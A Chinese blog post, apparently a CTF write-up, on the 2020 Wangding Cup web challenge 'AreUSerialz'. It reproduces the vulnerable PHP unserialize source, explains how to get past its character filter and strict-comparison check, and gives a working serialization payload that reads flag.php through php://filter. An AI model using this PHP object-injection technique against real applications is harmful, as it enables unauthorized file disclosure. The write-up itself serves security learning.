2020网鼎杯-青龙web-AreUSerialz

AreUSerialz

题目直接给出源码:

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET['str'])) {

    $str = (string)$_GET['str'];
    if (is_valid($str)) {
        $obj = @unserialize($str);
    }
}

 

由源码可以得知为反序列化,flag应在flag.php中;

我们对代码进行调试可知:

首先 函数 is_valid()对传入的字符串进行判断;

payload的字符的ASCII在32至125之间,类的属性是protected类型,需要加上

%00进行标识,但%00被url解码后ASCII值为0,不在32-125之间,可以使用十六进制\00和 S绕过;另一种绕过,在php7.1+中,对属性类型不敏感,所以可以使用public绕过;

判断然后进行反序列化,

需要绕过函数 __destruct、process()

op为1时为写文件,op为2时为读文件,我们需要读文件,但是在__destruct中,对op进行了过滤,可以根据===和==强弱进行绕过设置op是int的2或“ 2”(有空格)

然后读取flag.php(绝对路径,cmdline+读取/web/config/httpd.conf可得,buu上的复现可以直接使用flag.php相对路径)

构造payload

 

<?php

class FileHandler

{

    public $op = " 2";

    public $filename = 'php://filter/read=convert.base64-encode/resource=/web/html/flag.php';

    //public $filename='/web/html/flag.php';

    public $content = "Hello World";

 

}

$a = new FileHandler();

echo $b = serialize($a);

?>

 

 

posted @ 2020-05-19 14:29  -ME  阅读(243)  评论(0)    收藏  举报